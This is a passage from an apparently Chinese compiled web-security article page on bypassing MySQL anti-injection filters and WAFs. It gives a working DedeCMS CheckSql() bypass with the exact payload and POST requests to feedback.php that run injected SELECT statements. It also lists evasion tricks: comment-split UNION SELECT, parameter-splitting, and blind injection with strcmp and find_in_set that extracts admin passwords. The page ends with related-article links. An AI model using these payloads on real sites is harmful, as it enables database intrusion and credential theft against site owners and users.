= TRUE;            $error=“file fun detect”;        }        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)        {            $fail = TRUE;            $error=“file fun detect”;        }        //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是 可以使用它来查询数据库敏感信息        elseif (preg_match('~\([^)]*?select~s', $clean) != 0)        {            $fail = TRUE;            $error=“sub select detect”;        }        if (!empty($fail))        {            fputs(fopen($log_file,'a+'),“$userIP||$getUrl||$db_string||$error\r\n”);            exit(“Safe Alert: Request Error step 2!”);        }        else        {            return $db_string;        }    }

但通过跟踪这段代码发现,它有个特征就是会将两个单引号之间的内容用$s$替换,例如’select’会被替换为$s$,这里用两个@`'`包含敏感字,这样$clean变量中就不会出现敏感字,从而绕过CheckSql()函数检测,

这里可以设置title为如下代码,一方面绕过ids防注入代码检测,另一方面加一个#注释掉后面的代码,但是还要做一下变形,就是这个char(@`'`)了。因为#@__feedback的所有字段都被设置为NOT NULL,而@`'`是一个变量,默认为NULL,直接插入@`'`的话会报错,所以需要以char(@`'`)的方法转换一下。

',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,

跟踪代码,如图所示 

如下SQL语句

INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','1','游客','\',char(@`\'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,','127.0.0.1','1','1364401789', '0','0','0','feedback','1','genxor');

被替换为了

insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,$s$,$s$,$s$, $s$,$s$,$s$,$s$,$s$,$s$);

字符串中没有任何敏感字,成功绕过CheckSql()函数检测。

POST如下请求给feedback.php,如下所示:

action=send&comtype=comments&aid=1&isconfirm=yes&feedbacktype=feedback&face=1&msg=genxor¬user=1&typeid=1&title=',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,

跟踪代码,实际执行的SQL语句跟踪变量如下所示: 

入数据库中的内容,如图所示: 

下面再POST如下内容给feedback.php,

action=send&comtype=reply&aid=1&isconfirm=yes&feedbacktype=feedback&fid=50

跟踪一下这里执行的SQL语句,如图所示 

所以select user()执行了,并且可以作为msg字段输出。

0x04 总结


在写这篇文章之前,我分析了很多常用的cms系统的源码,包括discuz、dedecms、phpwind、phpcms等,只有在discuz、dedecms这两个系统中用到通用防注入,但是它们所覆盖的用户群已将相当庞大了。如果能在发现程序注入漏洞的情况下,这些绕过方法还是很有价值的。

篇8:sqlinjection下的新型注入&绕过方式脚本安全

自sql注入发展至今,许多安全文章似乎扭曲了不少人的注射思维,传统的检测注射方法是通过:

and 1=1 , and 1=2 来判断真假从而判断是否过滤完全,当然,也有 or 1=2,or 1=1,或者 在数值注射 例如:id=1+1 或id=2-1,等等

本文的目的不是评判谁的检测方法实用,只是向大家推荐一些新的注射方式,可能早有人提及了:)

注:主要针对php下的mysql注射,可借鉴,就不一一介绍了

首先说判断:

Null值相信大家不陌生吧,可这么用: and 1 is null,and 1 is not null

或: and 2<=3

其实,很多人习惯性的用=号来判断了,但是,如: >= ,<= ,is null,is not null,等 都可用于判断

接着说注入

对于注射取值,我们熟悉的就是union select 和 blind sqlinjection(盲注)

先说Union Select

对于常规的注射,我们可以union select 1,2,3,4 或 union/**/select/**/ 1,2,3,4

Ok,看我演示, id=1+u/**/nio/**/n+se/**/lect+1&id=2,3&id=4 够恶心吧?可绕过国内所有防注射哦:) 这代码运行后效果如上,至于原理我希望大家自己去查查相关资料,有异议的可给我留言

当然,在语句传递多个参数时 例如 slect * from table where id = 1 and name = xxx ,我们可这么做:

id=1+union/*&name=*/select+1,2

代入查询后 slect * from table where id = 1 union /* and name = xxx */ select 1,2 这是一种让常量(变量)失效的技巧,当然,环境要求比较苛刻 :)

下面说说Blind SqlIjection(盲注):

一般方式,我想大家应该是这么做的: ascii(substring(password,1,1))=56,或者是  ord(mid(password,1,1))=56

在此,我推荐大家还是用子查询,当然,前提是猜出表,字段,可更为准确的得到想得到的数据

此前,仍然向大家推荐一些新型的手法:

find_in_set 例: find_in_set('56',ascii(substr(password,1,1)))=1

strcmp 例: strcmp(left('password',1), 0x56) = 1

将这些函数套如子查询就是:

id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0x55)=1 false

id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0x56)=0  true

id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0x57)=-1 false

不明白原理的请查阅函数手册或给我留言

由于Nginx漏洞导致的入侵事件WEB安全

信息化运维工作职责

电子商务平台方案

PHP安全 XSS篇

双引号被过滤时配置文件插一句话的方法脚本安全

BBSXP,很多注入脚本安全

通信行业员工的年终总结

确保PHP应用程序的安全[2]WEB安全

安全整改方案

闪存博客SQL注入脚本安全

waf绕过:mysql注入waf绕过技巧脚本安全
《waf绕过:mysql注入waf绕过技巧脚本安全.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【waf绕过:mysql注入waf绕过技巧脚本安全(共8篇)】相关文章:

利用instr函数防止SQL注入攻击2022-04-29

vbs调用php脚本安全2022-05-03

银行信息安全整改报告2022-10-11

Echo 写入VBS提权2022-07-19

securytas.ro sql 注入2022-05-07

网站渗透思路全方面总结2023-01-18

web安全学习之xss个人总结2023-02-14

python学习之最简单的用户注册及登录验证小程序2022-08-14

星光贴吧1.3 后台拿SHELL及修复方案漏洞预警2022-05-31

微软IIS 6.0和7.5的多个漏洞及利用方法漏洞预警2022-08-31

点击下载本文文档